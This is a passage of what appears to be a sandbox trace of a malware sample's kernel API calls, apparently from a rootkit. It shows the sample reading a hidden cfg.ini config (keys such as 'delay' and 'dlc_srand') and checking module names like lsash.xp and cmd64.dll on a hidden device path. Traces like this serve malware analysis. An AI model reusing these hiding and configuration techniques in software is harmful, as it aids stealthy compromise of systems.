_MaxCount=0x10) returned -15 [0122.395] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.395] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.395] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.395] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.395] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.396] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.396] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.396] KeLeaveCriticalRegion () [0122.396] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.396] ReleaseMutex (hMutex=0x100) returned 1 [0122.396] Sleep (dwMilliseconds=0x2bf20) [0122.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c267c10, dwHighDateTime=0x1d24fa4)) [0122.404] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.404] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.404] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.404] KeEnterCriticalRegion () [0122.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.404] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.404] IdePortDispatch () returned 0x103 [0122.404] KeWaitForMutexObject () returned 0x0 [0122.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.404] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.404] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.404] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.404] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.404] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5f00 [0122.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.404] KeLeaveCriticalRegion () [0122.404] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.404] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.404] KeEnterCriticalRegion () [0122.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.404] KeLeaveCriticalRegion () [0122.404] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.404] KeEnterCriticalRegion () [0122.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.404] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.404] IdePortDispatch () returned 0x103 [0122.405] KeWaitForMutexObject () returned 0x0 [0122.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.405] KeLeaveCriticalRegion () [0122.405] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.405] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.405] KeEnterCriticalRegion () [0122.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.405] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c82000 [0122.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.405] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.405] IdePortDispatch () returned 0x103 [0122.405] KeWaitForMutexObject () returned 0x0 [0122.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.405] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.405] IdePortDispatch () returned 0x103 [0122.405] KeWaitForMutexObject () returned 0x0 [0122.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] KeLeaveCriticalRegion () [0122.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.406] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.406] KeEnterCriticalRegion () [0122.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] KeLeaveCriticalRegion () [0122.406] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.406] KeEnterCriticalRegion () [0122.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.406] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] KeLeaveCriticalRegion () [0122.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.406] KeEnterCriticalRegion () [0122.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] ExFreePoolWithTag (P=0xfffffa8003be5f00, Tag=0x0) [0122.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.406] KeLeaveCriticalRegion () [0122.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.406] ReleaseMutex (hMutex=0xf0) returned 1 [0122.406] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.406] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.407] KeEnterCriticalRegion () [0122.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.407] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.407] IdePortDispatch () returned 0x103 [0122.407] KeWaitForMutexObject () returned 0x0 [0122.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.407] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.407] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.407] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.407] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.407] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4e50 [0122.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.407] KeLeaveCriticalRegion () [0122.407] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.407] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.407] KeEnterCriticalRegion () [0122.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.407] KeLeaveCriticalRegion () [0122.407] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.407] KeEnterCriticalRegion () [0122.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.407] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.407] IdePortDispatch () returned 0x103 [0122.407] KeWaitForMutexObject () returned 0x0 [0122.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.408] KeLeaveCriticalRegion () [0122.408] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.408] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.408] KeEnterCriticalRegion () [0122.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c83000 [0122.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.408] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.408] IdePortDispatch () returned 0x103 [0122.408] KeWaitForMutexObject () returned 0x0 [0122.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.408] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.408] IdePortDispatch () returned 0x103 [0122.408] KeWaitForMutexObject () returned 0x0 [0122.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.408] KeLeaveCriticalRegion () [0122.408] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.409] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.409] KeEnterCriticalRegion () [0122.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] KeLeaveCriticalRegion () [0122.409] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.409] KeEnterCriticalRegion () [0122.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.409] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] KeLeaveCriticalRegion () [0122.409] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.409] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.409] KeEnterCriticalRegion () [0122.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] ExFreePoolWithTag (P=0xfffffa8003be4e50, Tag=0x0) [0122.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] KeLeaveCriticalRegion () [0122.409] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.409] ReleaseMutex (hMutex=0xf0) returned 1 [0122.409] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.409] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.409] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.409] KeEnterCriticalRegion () [0122.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.409] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.409] IdePortDispatch () returned 0x103 [0122.410] KeWaitForMutexObject () returned 0x0 [0122.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.410] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.410] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.410] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.410] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.410] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5b90 [0122.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.410] KeLeaveCriticalRegion () [0122.410] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.410] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.410] KeEnterCriticalRegion () [0122.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.410] KeLeaveCriticalRegion () [0122.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.410] KeEnterCriticalRegion () [0122.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.410] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.410] IdePortDispatch () returned 0x103 [0122.410] KeWaitForMutexObject () returned 0x0 [0122.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.410] KeLeaveCriticalRegion () [0122.410] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.410] KeEnterCriticalRegion () [0122.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0122.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.411] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.411] IdePortDispatch () returned 0x103 [0122.411] KeWaitForMutexObject () returned 0x0 [0122.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.411] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.411] IdePortDispatch () returned 0x103 [0122.411] KeWaitForMutexObject () returned 0x0 [0122.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.411] KeLeaveCriticalRegion () [0122.411] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.412] KeEnterCriticalRegion () [0122.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] KeLeaveCriticalRegion () [0122.412] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.412] KeEnterCriticalRegion () [0122.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.412] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5d70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] KeLeaveCriticalRegion () [0122.412] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.412] KeEnterCriticalRegion () [0122.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] ExFreePoolWithTag (P=0xfffffa8003be5b90, Tag=0x0) [0122.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] KeLeaveCriticalRegion () [0122.412] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.412] ReleaseMutex (hMutex=0xf0) returned 1 [0122.412] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.412] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.412] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.412] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.412] KeEnterCriticalRegion () [0122.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.412] KeInitializeEvent (in: 